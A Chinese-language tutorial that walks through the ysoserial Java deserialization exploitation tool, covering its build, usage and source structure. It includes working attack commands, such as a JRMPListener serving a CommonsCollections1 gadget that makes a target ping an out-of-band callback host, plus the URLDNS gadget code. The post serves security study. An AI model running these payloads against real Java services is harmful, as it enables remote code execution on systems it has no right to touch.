0x00 前言

ysoserial系列文章第一篇,主要讲讲工具的用法和基本架构。

0x01 ysoserial简介

项目地址:https://github.com/frohoff/ysoserial

ysoserial是一款Java反序列化漏洞利用神器,其中集成了许多反序列化利用Gadgets。

0x02 下载编译

前提是安装好Java 1.7+和Maven 3.x+环境。

先clone最新版到本地:

1
git clone https://github.com/frohoff/ysoserial.git

进入ysoserial目录中,编译jar包:

1
mvn clean package -DskipTests

终端输出如图则说明成功编译:

此时在ysoserial\target目录中就可以看到生成的ysoserial-0.0.6-SNAPSHOT-all.jar文件。

0x03 基本用法

官方介绍中的基本用法:

1
java -jar ysoserial.jar [payload] '[command]'

这种是运行ysoserial中的主类函数,比如常用的打DNSLog:

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xxx.dnslog.cn/

此外,还有一种常见用法,即运行ysoserial中的exploit类,一般用于开启交互服务:

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

这里再提一下,java命令的-cp参数和-classpath参数是一样的,即指定类运行所依赖类路径、通常是类库和jar包。而java命令的-jar参数则直接执行jar包里面META-INF\MANIFEST.MF文件中指定的Main-Class。

0x04 项目结构

主要看下源码下main目录的结构:

简单说明如下:

  • exploit:漏洞利用库,如JRMP服务端和客户端等;
  • payloads:payload库,即Gadgets集合,根据选择的Gadget来生成对应的字节码;
  • secmgr:安全管理器相关;

0x05 源码浅析

入口类GeneratePayload

在pom.xml中看到,ysoserial.jar的MainClass是ysoserial.GeneratePayload类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId>
<archive>
<manifest>
<mainClass>ysoserial.GeneratePayload</mainClass>
</manifest>
</archive>
<descriptor>assembly.xml</descriptor>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>

看到GeneratePayload类,如注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;

public static void main(final String[] args) {
// 判断输入参数,第一个为payload类型,第二个为payload的参数
if (args.length != 2) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];

// 获取payload指定的类,从ysoserial.payload包中寻找
// 这里用到了泛型,指定类型为ObjectPayload接口类的实现类
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}

try {
// 新建ObjectPayload类对象
final ObjectPayload payload = payloadClass.newInstance();
// 调用ObjectPayload类对象的getObject()函数来获取要序列化的payload对象,该对象将在反序列化时执行指定的命令
final Object object = payload.getObject(command);
PrintStream out = System.out;
// 序列化payload对象
Serializer.serialize(object, out);
// 释放payload对象
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}

// 打印输入参数帮助文档
private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println(" Available payload types:");

final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize

final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[] {"Payload", "Authors", "Dependencies"});
rows.add(new String[] {"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[] {
payloadClass.getSimpleName(),
Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
});
}

final List<String> lines = Strings.formatTable(rows);

for (String line : lines) {
System.err.println(" " + line);
}
}
}

这里借用上参考文章的图,会对GeneratePayload类中的大致调用过程比较清晰:

下面就先按上图顺序来逐个看看各个模块的作用。

ObjectPayload.Utils类

由前面看到在入口类GeneratePayload中调用得比较多的是Utils类。Utils类是位于ysoserial.payloads.ObjectPayload接口类的内部类,分析说明如注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package ysoserial.payloads;


import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Set;

import org.reflections.Reflections;

import ysoserial.GeneratePayload;


// ObjectPayload接口类,payload包中的Gadget类都是其实现类,且必须重写getObject()函数
@SuppressWarnings ( "rawtypes" )
public interface ObjectPayload <T> {

/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public T getObject ( String command ) throws Exception;

// 内部类Utils
public static class Utils {

// 通过扫描ClassPath来获取指定payload类
public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
Class<? extends ObjectPayload> pc = iterator.next();
if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
iterator.remove();
}
}
return payloadTypes;
}


// 在入口类GeneratePayload中调用获取指定payload类对象
@SuppressWarnings ( "unchecked" )
public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
Class<? extends ObjectPayload> clazz = null;
try {
// 直接通过类名来获取指定类
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
}
catch ( Exception e1 ) {}
if ( clazz == null ) {
try {
// 如果上述获取不到,则通过指定GeneratePayload类所在包路径来获取payloads包中指定类
return clazz = (Class<? extends ObjectPayload>) Class
.forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
}
catch ( Exception e2 ) {}
}
if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
clazz = null;
}
return clazz;
}


// 新建指定payload类对象,主要为java -cp用法即调用exploit模块,用于生成服务协议相关的交互式序列化利用链
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
// 获取指定payload类
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");

}

final Object payloadObject;
try {
// 新建payload类对象
final ObjectPayload payload = payloadClass.newInstance();
// 调用指定payload类的getObject()方法,生成Gadget对象并返回
payloadObject = payload.getObject(payloadArg);
}
catch ( Exception e ) {
throw new IllegalArgumentException("Failed to construct payload", e);
}
return payloadObject;
}


// 释放payload对象
@SuppressWarnings ( "unchecked" )
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof ReleaseableObjectPayload ) {
( (ReleaseableObjectPayload) payload ).release(object);
}
}


public static void releasePayload ( String payloadType, Object payloadObject ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");

}

try {
final ObjectPayload payload = payloadClass.newInstance();
releasePayload(payload, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace();
}

}
}
}

payloads包

payloads包中的payload类是ysoserial工具的核心所在,其中包括大量反序列化Gadget链,当前只说说payload类在整个ysoserial工具中的运作流程,具体每个payload类的原理及构造利用过程将在后续系列中来说明。

前面注释中说到了payload包中的Gadget类都是ObjectPayload接口类的实现类,且必须重写其getObject()函数。也就是说,如果我们要自己添加新Gadget类,必须实现ObjectPayload接口类并重写getObject()函数,同时还需要编写main()函数中添加PayloadRunner测试方法。

以payload包中URLDNS类为例说明,其是实现了ObjectPayload接口,并重写了getObject()函数、该函数返回一个构造好的恶意的HashMap对象。比如在前面的基本用法java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xxx.dnslog.cn/中,指定了URLDNS这个payload类的,那么在GeneratePayload入口类中获取到payload类名和命令参数值后就会调用Utils类的getPayloadClass()函数获取到URLDNS类对象,再通过调用该URLDNS类的getObject()函数将命令参数值传入来构造恶意反序列化Gadget链对象并返回对象,最后序列化该恶意构造的Gadget对象输出后便释放:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

Serializer与Deserializer

ysoserial的序列化和反序列化分别写在Serializer类与Deserializer类中。

如前面所述GeneratePayload入口类的流程中,在获取到指定payload类的恶意构造的Gadget对象后,会调用Serializer类的serialize()函数进行序列化操作,看到源码就是Java原生的序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Serializer implements Callable<byte[]> {
private final Object object;
public Serializer(Object object) {
this.object = object;
}

public byte[] call() throws Exception {
return serialize(object);
}

public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}

public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}

}

与之对应的是Deserializer类,其中写了main()函数主要用于方便测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class Deserializer implements Callable<Object> {
private final byte[] bytes;

public Deserializer(byte[] bytes) { this.bytes = bytes; }

public Object call() throws Exception {
return deserialize(bytes);
}

public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}

public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}

public static void main(String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Object object = deserialize(in);
}
}

exploit包

前面都是说的由运行ysoserial中的主类函数即入口类GeneratePayload的整个调用流程,现在来看看运行ysoserial中的exploit类的整个调用流程。

exploit包主要用于开启交互式服务,比如前面基本用法说到的开启JRMP服务端:java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'

这里以JRMPListener类为例说明,只看main()函数部分,其实就是调用Utils类makePayloadObject()函数来获取Gadget对象并设置到开启的交互式服务中,然后run()开启服务、等待客户端连接后发送包括Gadget的协议报文让客户端反序列化执行恶意命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static final void main ( final String[] args ) {

if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}

// 调用Utils类makePayloadObject()函数来获取参数指定的payload类对象
// 其中通过传入命令参数调用该指定payload类对象的getObject()方法,生成Gadget对象并返回
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);

try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}

参考文章的JRMPListener启动流程图,十分清晰:

PayloadRunner测试类

前面payloads包中说到了payload类的编写必须在main()函数中添加PayloadRunner测试方法,即调用PayloadRunner.run()函数。具体说明如注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// 用于从命令行本地运行漏洞利用的Gadget类
@SuppressWarnings("unused")
public class PayloadRunner {

public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// 短暂替换JVM安全管理器为ExecCheckingSecurityManager来生成payload并返回序列化对象
// 为了保证payload的生成过程不会抛出异常
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();

System.out.println("generating payload object(s) for command: '" + command + "'");

// 获取payload对象
ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);

// 序列化payload对象并返回
System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
Utils.releasePayload(payload, objBefore);
return ser;
}});

try {
// 反序列化触发payload
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}

}

// 获取默认测试命令即运行打开计算器
private static String getDefaultTestCmd() {
return getFirstExistingFile(
"C:\\Windows\\System32\\calc.exe",
"/Applications/Calculator.app/Contents/MacOS/Calculator",
"/usr/bin/gnome-calculator",
"/usr/bin/kcalc"
);
}

private static String getFirstExistingFile(String ... files) {
return "calc.exe";
// for (String path : files) {
// if (new File(path).exists()) {
// return path;
// }
// }
// throw new UnsupportedOperationException("no known test executable");
}
}

0x06 参考

ysoserial 结构分析与使用